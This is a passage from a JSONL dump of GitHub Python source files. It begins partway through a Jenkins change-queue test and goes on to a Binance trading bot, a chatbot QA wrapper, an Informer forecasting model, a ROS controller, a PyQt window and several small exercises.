('QQQ_change-queue-tester', 'QQQ'),\n ('foo-bar', None),\n ]\n )\n def test_job_to_queue_name(self, job_name, exp_queue_name):\n out_queue_name = JenkinsChangeQueueObject.job_to_queue_name(job_name)\n assert exp_queue_name == out_queue_name\n\n def test_get_queue_name(self, not_jenkins_env):\n jcqo = JenkinsChangeQueueObject()\n jcqo.verify_in_jenkins = MagicMock()\n jcqo.get_job_name = MagicMock(side_effect=(sentinel.job_name,))\n jcqo.job_to_queue_name = MagicMock(side_effect=(sentinel.queue_name,))\n out = jcqo.get_queue_name()\n assert jcqo.verify_in_jenkins.called\n assert jcqo.get_job_name.called\n assert jcqo.job_to_queue_name.called\n assert jcqo.job_to_queue_name.call_args == call(sentinel.job_name)\n assert out == sentinel.queue_name\n\n\nclass TestJenkinsChangeQueue(object):\n def test_persistance(self, jenkins_env):\n changes = [1, 2, 3]\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n for change in changes:\n queue.add(change)\n queue = None\n assert queue is None\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n assert [changes] == _enlist_state(queue._state)\n for change in changes:\n queue.add(change)\n queue = None\n assert queue is None\n with JenkinsChangeQueue.persist_in_artifacts() as queue:\n assert [changes * 2] == _enlist_state(queue._state)\n\n def test_report_change_status(self):\n qname = 'some-queue-name'\n states = ('successful', 'failed', 'added', 'rejected')\n cause = sentinel.cause\n test_url = sentinel.test_url\n for status in states:\n chg = MagicMock(('report_status',))\n JenkinsChangeQueue._report_change_status(\n chg, status, qname, cause, test_url\n )\n assert chg.report_status.call_count == 1\n assert chg.report_status.call_args == \\\n call(status, qname, cause, test_url)\n\n chg = MagicMock(())\n for status in states:\n JenkinsChangeQueue._report_change_status(\n chg, status, qname, cause\n )\n assert not chg.called\n\n @pytest.mark.parametrize(\n ('act', 'arg', 'rvl', 'tp', 'rep_calls', 'tst_calls'),\n [\n ('add', 'some-change', 2, True, 2, 1),\n ('on_test_success', 'some-test-key', 3, False, 2, 1),\n ('on_test_failure', 'some-test-key', 3, False, 2, 1),\n ('get_next_test', None, 2, False, 0, 0),\n ]\n )\n def test_act_on_job_params(self, act, arg, rvl, tp, rep_calls, tst_calls):\n jcq = JenkinsChangeQueue()\n jcq._cleanup_result_files = MagicMock()\n jcq.get_queue_name = MagicMock()\n jcq._report_changes_status = MagicMock()\n jcq._build_change_list = MagicMock()\n jcq._write_status_file = MagicMock()\n jcq._schedule_tester_run = MagicMock()\n act_func = MagicMock(side_effect=(tuple(range(rvl)),))\n setattr(jcq, act, act_func)\n if arg is not None:\n if tp:\n action_arg_prm = jcq.object_to_param_str(arg)\n else:\n action_arg_prm = arg\n else:\n action_arg_prm = None\n jcq.act_on_job_params(act, action_arg_prm)\n assert jcq._cleanup_result_files.called\n assert act_func.called\n if arg is not None:\n assert act_func.call_args == call(arg)\n else:\n assert act_func.call_args == call()\n assert jcq._report_changes_status.call_count == rep_calls\n assert jcq._schedule_tester_run.call_count == tst_calls\n assert jcq._write_status_file.called\n\n\nclass TestJenkinsTestedChangeList(object):\n @staticmethod\n def str_to_strmchg(s):\n change = TestChangeQueueWithStreams.str_to_chg(s)\n change.url = 'http://foo/bar/{0}'.format(change.id)\n return change\n\n def test_visible_changes(self):\n changes = list(map(self.str_to_strmchg, ['1sA', 2, '3sB', '4sA']))\n expeted = list(map(self.str_to_strmchg, [2, '3sB', '4sA']))\n jtcl = JenkinsTestedChangeList('k1', changes)\n out = list(jtcl.visible_changes)\n assert expeted == out\n\n def test_get_test_build_title(self):\n changes = list(map(self.str_to_strmchg, range(1, 4)))\n change = changes[0]\n jtcl = JenkinsTestedChangeList('k1', [])\n assert jtcl.get_test_build_title() == ''\n jtcl = JenkinsTestedChangeList('k1', [change])\n assert jtcl.get_test_build_title() == '[1: 1]'\n jtcl = JenkinsTestedChangeList('k1', changes)\n assert jtcl.get_test_build_title() == '[3]'\n\n def test_get_test_summary(self):\n changes = list(map(self.str_to_strmchg, range(1, 4)))\n change = changes[0]\n jtcl = JenkinsTestedChangeList('k1', [])\n assert jtcl.get_test_summary() == 'No change to test'\n jtcl = JenkinsTestedChangeList('k1', [change])\n assert jtcl.get_test_summary() == 'Testing a single change: 1'\n jtcl = JenkinsTestedChangeList('k1', changes)\n assert jtcl.get_test_summary() == dedent(\n '''\n Testing 3 changes:\n - 1 - http://foo/bar/1\n - 2 - http://foo/bar/2\n - 3 - http://foo/bar/3\n '''\n ).lstrip()\n","repo_name":"oVirt/jenkins","sub_path":"test/test_change_queue.py","file_name":"test_change_queue.py","file_ext":"py","file_size_in_byte":23659,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"53"}
+{"seq_id":"34293993623","text":"import websocket,json,pprint, talib, numpy\n\nfrom binance.client import Client\nfrom binance.enums import *\nimport config\nimport datetime\nfrom helpers import *\nimport time\nimport os\nimport threading\n\nclient = Client(config.API_KEY,config.API_SECRET, tld='us')\n\nclass Hedge_Short():\n def __init__(self):\n self.vers = \"hedge\"\n self.TRADE_SYMBOL = \"DOGEUSDT\"\n \n self.trade_entry_prices = []\n self.trade_exit_prices = []\n self.entry_price = 0\n self.exit_price = 0\n self.running_profit = 0\n self.rebalancing = 0\n self.MIN_SHARES = 700\n self.SHARES = self.MIN_SHARES\n self.tp = 0.01\n #git\n \n self.TRADES_dict= {\"ID\":1,\"entry_date\":datetime.datetime.now(),\"exit_date\":None,\"entry_price\":0,\"exit_price\":0,\"shares\":0,\"symbol\":\"DOGEUSDT\",\"tp\":0,\"long\":0,\"open\":0,\"closed\":0,\"profit\":0}\n\n # self.trades = []\n\n self.trades_updated = []\n \n def print_shit(self,close):\n pass\n \n\n def is_file_empty_3(self,file_name):\n #\"\"\" Check if file is empty by reading first character in it\"\"\"\n # open ile in read mode\n with open(file_name, 'r') as read_obj:\n # read first character\n one_char = read_obj.read(1)\n # if not fetched then file is empty\n if not one_char:\n return True\n else:\n return False\n\n\n\n def write_list_to_file(self,name,trade_execution):\n # places = ['Berlin', 'Cape Town', 'Sydney', 'Moscow']\n\n FILE = open(f'{name}',\"a\")\n \n FILE.writelines('%s\\n' % trade_execution)\n FILE.close()\n\n def read_list_from_file(self,name):\n name =name\n\n \n if self.is_file_empty_3(name) == False:\n\n FILE = open(name, 'r')\n temp_array = []\n \n for line in FILE:\n # remove linebreak which is the last character of the string\n item = line[:-1]\n\n #add item to the list\n temp_array.append(item)\n \n temp_array = [eval(item) for item in temp_array]\n self.trades_updated = temp_array\n temp_array = []\n\n \n FILE.close()\n\n\n\n def hedge_strat_short(self,close,EMA_item):\n #SELL\n self.short_close_condition(close)\n # print(\"sleeping\")\n # time.sleep(2)\n # print(\"awake\")\n #short\n print(\"running short condish\")\n self.short_condition(close,EMA_item)\n \n\n def read_financials_from_file(self,name):\n name =name\n\n \n if self.is_file_empty_3(name) == False:\n\n FILE = open(name, 'r')\n temp_array = []\n \n for line in FILE:\n # remove linebreak which is the last character of the string\n item = line[:-1]\n\n #add item to the list\n temp_array.append(item)\n \n temp_array = [eval(item) for item in temp_array]\n financials_from_file = temp_array[-1]\n temp_array = []\n\n \n FILE.close()\n return financials_from_file\n\n def get_shares_to_short(self):\n row = self.read_financials_from_file(\"financials.txt\")\n return row[\"shorts_to_buy\"]\n\n\n \n def add_ID(self):\n IDs = []\n if len(self.trades_updated) >0:\n for trade in self.trades_updated:\n IDs.append(int(trade[\"ID\"]))\n maxID = max(IDs)\n return maxID +1\n else:\n return 1\n\n \n\n\n \n def short_condition(self,close,EMA_item):\n \n \n if close <= EMA_item:\n self.SHORT()\n\n \n\n def short_close_condition(self,close):\n \n self.read_list_from_file(\"hedge_TRADES.txt\") #???\n closed_IDs = []\n only_1_IDs = []\n idss = []\n if len(self.trades_updated) >0:\n for i in range(len(self.trades_updated)):\n idss.append(self.trades_updated[i][\"ID\"])\n for y in range(len(idss)):\n if idss.count(self.trades_updated[y][\"ID\"]) ==1:\n only_1_IDs.append(self.trades_updated[y])\n for trade in only_1_IDs: #loop in reverse\n if close <= trade[\"entry_price\"] - trade[\"entry_price\"] * self.tp or close >= trade[\"entry_price\"] + trade[\"entry_price\"] * self.tp:\n self.SHORT_CLOSE(trade)\n\n\n def tp_price(self,entry_price):\n tp_price_ = entry_price + entry_price *.01\n return tp_price_\n\n def SHORT_CLOSE(self,trade):\n \n \n for i in range(len(self.trades_updated)-1,-1,-1):\n if trade[\"ID\"] == self.trades_updated[i][\"ID\"] and self.trades_updated[i][\"closed\"] ==1:\n return\n\n else:\n if trade[\"ID\"] == self.trades_updated[i][\"ID\"] and self.trades_updated[i][\"open\"] ==1 and self.trades_updated[i][\"short\"] ==1:\n \n order = client.order_market_buy(\n symbol=trade[\"symbol\"],\n quantity=trade[\"shares\"])\n print(order)\n self.rebalancing = 1\n\n \n\n\n for obj in order[\"fills\"]:\n \n self.trade_exit_prices.append(float(obj[\"price\"]))\n # print(f'last trade entry price {trade_entry_prices[-1]}')\n # if len(trade_entry_prices) > 1:\n # avg_trade_exit_price = sum(trade_entry_prices) / len(trade_entry_prices)\n # else:\n self.exit_price = self.trade_exit_prices[-1]\n\n profit = trade[\"entry_price\"] - self.exit_price \n \n self.running_profit += profit\n\n #states\n self.trades_updated[i][\"open\"] = 0\n \n self.trades_updated[i][\"closed\"] = 1\n\n\n self.trades_updated[i][\"exit_price\"] = self.exit_price\n self.trades_updated[i][\"exit_date\"] = datetime.datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\")\n self.trades_updated[i][\"profit\"] = profit\n\n row_in_mem = self.trades_updated[i]\n self.write_list_to_file(\"hedge_TRADES.txt\",row_in_mem)\n\n print(f'SHORT_CLOSEDDDD ID: {self.trades_updated[i][\"ID\"]} exit date: {self.trades_updated[i][\"exit_date\"]} exit_price: {self.trades_updated[i][\"exit_price\"]} entry_price: {self.trades_updated[i][\"entry_price\"]} profit {self.trades_updated[i][\"profit\"]} Running Profit: {self.running_profit}')\n\n\n def SHORT(self):\n try:\n print(\"SHORT CALLED and rebalancing is\",self.rebalancing)\n # if STATE[\"simulation\"]==1:\n \n # avg_trade_entry_price = hist_bars[-1][\"close\"]\n\n # print(f'{hist_bars[-1][\"date\"]} BUYYYYYYYYY Entrty Price: {avg_trade_entry_price}')\n\n #state\n \n\n #self.TRADES_dict= {\"ID\":1,\"entry_date\":datetime.datetime.now(),\"exit_date\":None,\"entry_price\":0,\"exit_price\":0,\"shares\":0,\"symbol\":\"DOGE\",\"tp\":0,\"long\":0,\"open\":0,\"closed\":0,\"running_profit\":0}\n #self.trades = []\n if self.rebalancing ==1:\n self.SHARES = self.get_shares_to_short()\n order = client.order_market_sell(\n symbol=self.TRADE_SYMBOL,\n quantity=self.SHARES)\n print(order)\n self.rebalancing = 0\n else:\n self.SHARES = self.MIN_SHARES\n order = client.order_market_sell(\n symbol=self.TRADE_SYMBOL,\n quantity=self.SHARES)\n print(order)\n\n\n \n\n \n\n for obj in order[\"fills\"]:\n \n self.trade_entry_prices.append(float(obj[\"price\"]))\n \n self.entry_price = self.trade_entry_prices[-1]\n\n \n\n #make Row\n row = {\"ID\":self.add_ID(),\"entry_date\":datetime.datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\"),\"exit_date\":None,\"entry_price\":self.entry_price,\"exit_price\":0,\"shares\":self.SHARES,\"symbol\":self.TRADE_SYMBOL,\"tp_price\": self.tp_price(self.entry_price),\"long\":0,\"short\":1,\"open\":1,\"closed\":0,\"profit\":0}\n\n #write trade to file\n self.write_list_to_file(\"hedge_TRADES.txt\",row)\n\n #empty trades arry\n \n\n self.read_list_from_file(\"hedge_TRADES.txt\")\n\n print(f'SHORTTTTTT ID: {self.trades_updated[-1][\"ID\"]} date: {self.trades_updated[-1][\"entry_date\"]} Entry_price: {self.trades_updated[-1][\"entry_price\"]} TP: {self.trades_updated[-1][\"tp_price\"]}')\n \n except Exception as e:\n print(\"THERE IS AN ERROR\",e) \n \n # email_Text(f'BUYYYYYYY ID: {self.trades_updated[-1][\"ID\"]} Entry_price: {self.trades_updated[-1][\"entry_price\"]} TP: {self.trades_updated[-1][\"tp_price\"]}',self.vers) ","repo_name":"redfoo22/footrader_b","sub_path":"hedge_short.py","file_name":"hedge_short.py","file_ext":"py","file_size_in_byte":9085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"86535862164","text":"from .faq import FAQ as faq\nfrom .faq import KBQA as kbqa\n\nclass ChatBot_QA:\n \"\"\"\n Constructor of QA chatbot. Currently we have two models, the FAQ and the KBQA\n \"\"\"\n\n def __init__(self):\n self.__faq = faq.FAQ()\n self.__kbqa = kbqa.KBQA()\n # Fine-tune this threshold especially for the FAQ model\n self._THRESHOLD = 0.25 # for multi-qa and all-mpnet\n\n \"\"\"\n Ask the query to our models.\n First we ask the FAQ model. If the probability is less than the THRESHOLD,\n then we ask the KBQA model. If this also fails we return a default answer\n k is the top-k results\n :return : The answer and its score \n \"\"\"\n def ask(self, query, k=3):\n # First ask the FAQ model\n model, results = self.__faq.ask(query, k)\n # Get the top result\n ans, score = results[0]\n\n # Add a threshold for our probabilities\n # If less than this then do something else\n if float(score) > self._THRESHOLD and ans != 'INVALID':\n return model, results\n\n # Else we were not able to answer the question using the FAQ module\n # Now use the Knowledge Base Question Answering model\n model, results = self.__kbqa.ask(query, k)\n # Get the top result\n ans, score = results[0]\n # Currently KBQA just returns the top-ranked result\n # If empty then return rephrase\n if ans == 'Not Found':\n results = [['I did not understand! Can you please rephrase?', '1.0']]\n return 'Default', results\n else:\n return model, results\n\n \"\"\"\n Ask only the faq model and return the answer and the probability\n \"\"\"\n def ask_faq(self, query, k):\n # ask the FAQ model\n model, results = self.__faq.ask(query, k)\n return model, results\n\n \"\"\"\n Ask only the kbqa model and return the answer and the probability\n \"\"\"\n def ask_kbqa(self, query, k):\n # ask the kbqa model\n model, results = self.__kbqa.ask(query, k)\n return model, results\n\n","repo_name":"ai4eu/ai4eu-chatbot","sub_path":"src/qa/ChatBot_QA.py","file_name":"ChatBot_QA.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"74571730087","text":"\nclass universe(object):\n def __init__(self, name, rewards = [], portals = []):\n self.name = name\n self.rewards = rewards\n self.portals = portals\n for i in self.rewards:\n i.append(True)\n \n def __str__(self):\n return 'Universe: {} ({} rewards and {} portals)'.format(self.name, len(self.rewards), len(self.portals))\n \n def prewards(self):\n newrewards = ['Rewards:']\n if len(self.rewards) >= 1:\n i = 0\n while i < len(self.rewards):\n newrewards.append('at ({},{}) for {} points: {}'\n .format(self.rewards[i][0], self.rewards[i][1],\n self.rewards[i][2], self.rewards[i][3]))\n i += 1\n return newrewards\n else:\n newrewards.append(None)\n return newrewards\n \n def pportals(self):\n newportals = ['Portals:']\n if len(self.portals) >= 1:\n i = 0\n while i < len(self.portals):\n newportals.append('{}({},{}) -> ({},{})'\n .format(self.name, self.portals[i][0], self.portals[i][1],\n self.portals[i][2], self.portals[i][3], self.portals[i][4]))\n i += 1\n return newportals\n else:\n newportals.append(None)\n return newportals \n \n\n\n\n\n\n\n\n\n\n","repo_name":"sriyuthsagi/CSCI-1100-Computer-Science-I","sub_path":"Homework/Homework 8/Universe.py","file_name":"Universe.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18690713081","text":"\ncheck_adj = lambda num: any([num[i] == num[i - 1] for i in range(1, len(num))])\n\ncheck_never_decrease = lambda num: all([num[i] >= num[i - 1] for i in range(1, len(num))])\n\ndef check_adj2(num):\n count = {}\n for char in num:\n if char in count:\n count[char] += 1\n else:\n count[char] = 1\n return any([num[i] == num[i - 1] and count[num[i]] == 2 for i in range(1, len(num))])\n\ncheck2 = lambda num: check_never_decrease(num) and check_adj2(num)\n\ncheck1 = lambda num: check_adj(num) and check_never_decrease(num)\n\npart1 = lambda start, end: sum([check1(str(num)) for num in range(start, end + 1)])\n\npart2 = lambda start, end: sum([check2(str(num)) for num in range(start, end + 1)])\n\nstart, end = [int(num) for num in input().split('-')]\n\nprint(part1(start, end))\n\nprint(part2(start, end))","repo_name":"aaditkamat/competitive-programming","sub_path":"Advent of Code/2019/Day 4/day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73360528808","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom utils.masking import TriangularCausalMask, ProbMask\nfrom models.encoder import Encoder, EncoderLayer, ConvLayer, EncoderStack\nfrom models.decoder import Decoder, DecoderLayer\nfrom models.attn import FullAttention, ProbAttention, AttentionLayer\nfrom models.embed import DataEmbedding\nimport random\n\nclass Informer(nn.Module):\n def __init__(self, enc_in, dec_in, c_out, seq_len, label_len, out_len, \n factor, d_model, n_heads, e_layers, d_layers, d_ff, \n dropout, attn, activation, \n output_attention, distil=True, mix=True, \n device=torch.device('cuda:0')):\n super(Informer, self).__init__()\n self.pred_len = out_len\n self.attn = attn\n self.output_attention = output_attention\n\n # Encoding embed는 timeF가 지금 default임.\n self.enc_embedding = DataEmbedding(enc_in, d_model, dropout)\n self.dec_embedding = DataEmbedding(dec_in, d_model, dropout)\n # Attention\n Attn = ProbAttention if attn=='prob' else FullAttention\n # Encoder\n self.encoder = Encoder(\n [\n EncoderLayer(\n AttentionLayer(Attn(False, factor, attention_dropout=dropout, output_attention=output_attention), \n d_model, n_heads, mix=False),\n d_model,\n d_ff,\n dropout=dropout,\n activation=activation\n ) for l in range(e_layers)\n ],\n [\n ConvLayer(\n d_model\n ) for l in range(e_layers-1)\n ] if distil else None,\n norm_layer=torch.nn.LayerNorm(d_model)\n )\n # Decoder\n self.decoder = Decoder(\n [\n DecoderLayer(\n AttentionLayer(Attn(False, factor, attention_dropout=dropout, output_attention=False), \n d_model, n_heads, mix=mix),\n AttentionLayer(FullAttention(False, factor, attention_dropout=dropout, output_attention=False), \n d_model, n_heads, mix=False),\n d_model,\n d_ff,\n dropout=dropout,\n activation=activation,\n )\n for l in range(d_layers)\n ],\n norm_layer=torch.nn.LayerNorm(d_model)\n )\n # self.end_conv1 = nn.Conv1d(in_channels=label_len+out_len, out_channels=out_len, kernel_size=1, bias=True)\n # self.end_conv2 = nn.Conv1d(in_channels=d_model, out_channels=c_out, kernel_size=1, bias=True)\n self.projection = nn.Linear(d_model, c_out, bias=True)#d_model에서 c_out으로 가는거 생각해.\n \n def forward(self, x_enc, x_mark_enc, x_dec, x_mark_dec, \n enc_self_mask=None, dec_self_mask=None, dec_enc_mask=None):\n \"\"\"\n 여기 지금 enc_self_mask, dec_self_mask, dec_enc_mask None으로 돼 있는 거 체크해야함.\n \"\"\"\n # print(f\"x_enc shape : {x_enc.shape}, x_mark_enc shape : {x_mark_enc.shape}, x_dec shape : {x_dec.shape}, x_mark_dec shape : {x_mark_dec.shape}\")\n enc_out = self.enc_embedding(x_enc, x_mark_enc)\n # print(f\"enc_out(enc_embedding 통과) shape : {enc_out.shape}\")\n enc_out, attns = self.encoder(enc_out, attn_mask=enc_self_mask)\n # print(f\"enc_out(encoder 통과) shape : {enc_out.shape}\")\n\n dec_out = self.dec_embedding(x_dec, x_mark_dec)\n # print(f\"dec out(decoder embedding 통과) shape : {dec_out.shape}\")\n dec_out = self.decoder(dec_out, enc_out, x_mask=dec_self_mask, cross_mask=dec_enc_mask)\n # print(f\"dec_out(decoder 통과) shape : {dec_out.shape}\")\n dec_out = self.projection(dec_out)\n # print(f\"dec out(final projection 통과) shape : {dec_out.shape}\")\n \n # dec_out = self.end_conv1(dec_out)\n # dec_out = self.end_conv2(dec_out.transpose(2,1)).transpose(1,2)\n \"\"\"\n error code\n \"\"\"\n # self.pred_len = random.randint(5, 2)\n # self.pred_len = 20\n # print(\"pred_len\")\n # print(self.pred_len)\n \"\"\"\n error code end\n \"\"\"\n if self.output_attention:\n return dec_out[:,-self.pred_len:,:], attns\n else:\n return dec_out[:,-self.pred_len:,:] # [B, L, D]","repo_name":"hwanseung2/Bus-Arrival-Time-Prediction","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"42323745735","text":"#!/usr/bin/env python3\n\nimport rospy\nimport time\nimport message_filters\nfrom sensor_msgs.msg import Imu\nfrom ms5837.msg import ms5837_data\nfrom std_msgs.msg import Int32MultiArray\n\nrospy.init_node(\"attitude_controller_node\")\nrate = rospy.Rate(100)\n\nclass Controller():\n def __init__(self):\n self.imu_sub = Imu() # Paraentheses behind intialization of a message object are required.\n self.depth_sub = ms5837_data()\n self.msg = Int32MultiArray()\n self.msg.layout.dim = []\n self.msg.layout.data_offset = 16\n self.motorNum = 8\n\n self.commanded = rospy.Publisher('/command', Int32MultiArray, queue_size=10)\n self.msg.data = self.data_type(0)\n\n def callbackIMU(self,data):\n self.imu_sub = data\n\n def callbackDepth(self,data):\n self.depth_sub = data\n\n def main(self):\n # print(\"Reached callback.\")\n print(self.imu_sub.orientation.x)\n print(self.imu_sub.orientation.y)\n print(self.imu_sub.orientation.z)\n print(self.imu_sub.orientation.w)\n print(\"Depth:\")\n print(self.depth_sub.depth)\n\n if self.imu_sub.orientation.x > 0:\n self.msg.data = [0,1500,1550,0,0,0,0,0]\n self.commanded.publish(self.msg)\n elif self.imu_sub.orientation.x <= 0:\n self.msg.data = [0,1550,1500,0,0,0,0,0]\n self.commanded.publish(self.msg)\n\n def data_type(self,num):\n data = []\n for i in range(0,self.motorNum):\n data.append(0)\n\n for i in range(0,self.motorNum):\n data[i] = num\n\n return data\n \nif __name__ == '__main__':\n try:\n loop = Controller()\n while not rospy.is_shutdown(): \n rospy.Subscriber(\"/imu/data\", Imu,loop.callbackIMU)\n rospy.Subscriber(\"/rov/ms5837_filtered\", ms5837_data,loop.callbackDepth)\n\n loop.main()\n \n # print(\"Reached just after callback.\")\n\n rate.sleep()\n\n except KeyboardInterrupt:\n print(\"Keyboard Interrupt\")\n","repo_name":"MUsurf/Jelly_ROS_22-23","sub_path":"catkin_ws/src/controller/src/attitude_controller_node.py","file_name":"attitude_controller_node.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"32225023166","text":"from functools import reduce\n\nrooms = [\n {\"name\": \"кухня\", \"length\": 6, \"width\": 4},\n {\"name\": \"комната 1\", \"length\": 5.5, \"width\": 4.5},\n {\"name\": \"комната 2\", \"length\": 5, \"width\": 4},\n {\"name\": \"комната 3\", \"length\": 7, \"width\": 6.3},\n]\n\n\ndef get_room_with_square(room):\n length = room[\"length\"]\n width = room[\"width\"]\n square = length * width\n room[\"square\"] = square\n return room\n\n\ndef get_room_square(room):\n length = room[\"length\"]\n width = room[\"width\"]\n square = length * width\n return square\n\n\ndef get_flat_square(s1, s2):\n result = s1 + s2\n return result\n\nroomSquare = list(map(get_room_square, rooms))\nsquare = reduce(get_flat_square, map(get_room_square, rooms))","repo_name":"Stroesku/py_learn","sub_path":"functional/rooms.py","file_name":"rooms.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28718995418","text":"import unittest\nfrom io import StringIO\nfrom visualplan.log import LogParser\n\n\nclass TestLogParser(unittest.TestCase):\n def _parse_content(self, content):\n fobj = StringIO(content)\n parser = LogParser()\n return parser.parse(fobj)\n\n def test_parsed_line_is_marked_as_executed(self):\n content = '[Apr 19 16:12:44] -- Executing [*971111@default:2] Set\\n'\n\n parse_result = self._parse_content(content)\n\n self.assertTrue(parse_result.is_executed('default', '*971111', 2))\n\n def test_unparsed_line_is_marked_as_unexecuted(self):\n content = ''\n\n parse_result = self._parse_content(content)\n\n self.assertFalse(parse_result.is_executed('default', 's', 1))\n\n def test_parser_doesnt_choke_on_invalid_line(self):\n content = \"\"\"\\\n[Apr 19 08:15:56] -- AGI Script Executing Application: (Answer) Options: ()\n[Apr 19 16:12:44] -- Executing foobar\n[Apr 19 16:12:44] -- Executing [*971111@default:2] Set\n\"\"\"\n parse_result = self._parse_content(content)\n\n self.assertTrue(parse_result.is_executed('default', '*971111', 2))\n\n def test_list_executed_extensions(self):\n content = \"\"\"\\\n[Apr 19 16:12:44] -- Executing [s@default:1] Set\n\"\"\"\n\n parse_result = self._parse_content(content)\n\n self.assertEqual(['s'], parse_result.list_executed_extensions('default', 1))\n self.assertEqual([], parse_result.list_executed_extensions('default', 2))\n self.assertEqual([], parse_result.list_executed_extensions('foo', 1))\n","repo_name":"wazo-platform/wazo-tools","sub_path":"visualplan/src/visualplan/tests/test_log.py","file_name":"test_log.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40163280305","text":"import torch\nfrom tqdm import tqdm\nfrom torch.optim import AdamW\nfrom torch.utils.data import DataLoader, Dataset\nfrom sklearn.metrics import accuracy_score\nfrom transformers import AutoTokenizer\n\nfrom utils import AverageMeter\n\n\nclass Trainer:\n def __init__(\n self,\n dataloader_workers: int,\n device: str,\n epochs: int,\n learning_rate: float,\n model: torch.nn.Module,\n tokenizer: AutoTokenizer,\n pin_memory: bool,\n save_dir: str,\n train_batch_size: int,\n train_set: Dataset,\n valid_batch_size: int,\n valid_set: Dataset,\n evaluate_on_accuracy: bool = False\n ) -> None:\n self.device = device\n self.epochs = epochs\n self.save_dir = save_dir\n self.train_batch_size = train_batch_size\n self.valid_batch_size = valid_batch_size\n self.train_loader = DataLoader(\n train_set,\n batch_size=train_batch_size,\n num_workers=dataloader_workers,\n pin_memory=pin_memory,\n shuffle=True\n )\n self.valid_loader = DataLoader(\n valid_set,\n batch_size=train_batch_size,\n num_workers=dataloader_workers,\n pin_memory=pin_memory,\n shuffle=False\n )\n self.tokenizer = tokenizer\n self.model = model.to(self.device)\n self.optimizer = AdamW(self.model.parameters(), lr=learning_rate)\n self.train_loss = AverageMeter()\n self.evaluate_on_accuracy = evaluate_on_accuracy\n if evaluate_on_accuracy:\n self.best_valid_score = 0\n else:\n self.best_valid_score = float(\"inf\")\n\n def train(self) -> None:\n for epoch in range(1, self.epochs+1):\n self.model.train()\n self.train_loss.reset()\n\n with tqdm(total=len(self.train_loader), unit=\"batches\") as tepoch:\n tepoch.set_description(f\"epoch {epoch}\")\n for data in self.train_loader:\n self.optimizer.zero_grad()\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n loss = output.loss\n loss.backward()\n self.optimizer.step()\n self.train_loss.update(loss.item(), self.train_batch_size)\n tepoch.set_postfix({\"train_loss\": self.train_loss.avg})\n tepoch.update(1)\n\n if self.evaluate_on_accuracy:\n valid_accuracy = self.evaluate_accuracy(self.valid_loader)\n if valid_accuracy > self.best_valid_score:\n print(\n f\"Validation accuracy improved from {self.best_valid_score:.4f} to {valid_accuracy:.4f}. Saving.\"\n )\n self.best_valid_score = valid_accuracy\n self._save()\n else:\n valid_loss = self.evaluate(self.valid_loader)\n if valid_loss < self.best_valid_score:\n print(\n f\"Validation loss decreased from {self.best_valid_score:.4f} to {valid_loss:.4f}. Saving.\")\n self.best_valid_score = valid_loss\n self._save()\n\n @torch.no_grad()\n def evaluate(self, dataloader: DataLoader) -> float:\n self.model.eval()\n eval_loss = AverageMeter()\n with tqdm(total=len(dataloader), unit=\"batches\") as tepoch:\n tepoch.set_description(\"validation\")\n for data in dataloader:\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n loss = output.loss\n eval_loss.update(loss.item(), self.valid_batch_size)\n tepoch.set_postfix({\"valid_loss\": eval_loss.avg})\n tepoch.update(1)\n return eval_loss.avg\n\n @torch.no_grad()\n def evaluate_accuracy(self, dataloader: DataLoader) -> float:\n self.model.eval()\n accuracy = AverageMeter()\n with tqdm(total=len(dataloader), unit=\"batches\") as tepoch:\n tepoch.set_description(\"validation\")\n for data in dataloader:\n data = {key: value.to(self.device) for key, value in data.items()}\n output = self.model(**data)\n preds = torch.argmax(output.logits, dim=1)\n score = accuracy_score(data[\"labels\"].cpu(), preds.cpu())\n accuracy.update(score, self.valid_batch_size)\n tepoch.set_postfix({\"valid_acc\": accuracy.avg})\n tepoch.update(1)\n return accuracy.avg\n\n def _save(self) -> None:\n self.tokenizer.save_pretrained(self.save_dir)\n self.model.save_pretrained(self.save_dir)\n","repo_name":"AMontgomerie/question_generator","sub_path":"training/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":247,"dataset":"github-code","pt":"53"}
+{"seq_id":"13901332165","text":"import sys\nfrom PyQt6.QtWidgets import *\n\n\nclass DlgMain(QWidget):\n def __init__(self):\n super().__init__()\n self.setWindowTitle('My GUI')\n self.setGeometry(50, 50, 300, 300)\n\n hbx = QHBoxLayout()\n button1 = QPushButton('Play')\n hbx.addStretch()\n hbx.addWidget(button1)\n hbx.setStretch(0, 0)\n hbx.addStretch()\n self.setLayout(hbx)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main = DlgMain()\n main.show()\n sys.exit(app.exec())\n\n","repo_name":"throwmeister/gui_experiments","sub_path":"guis/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
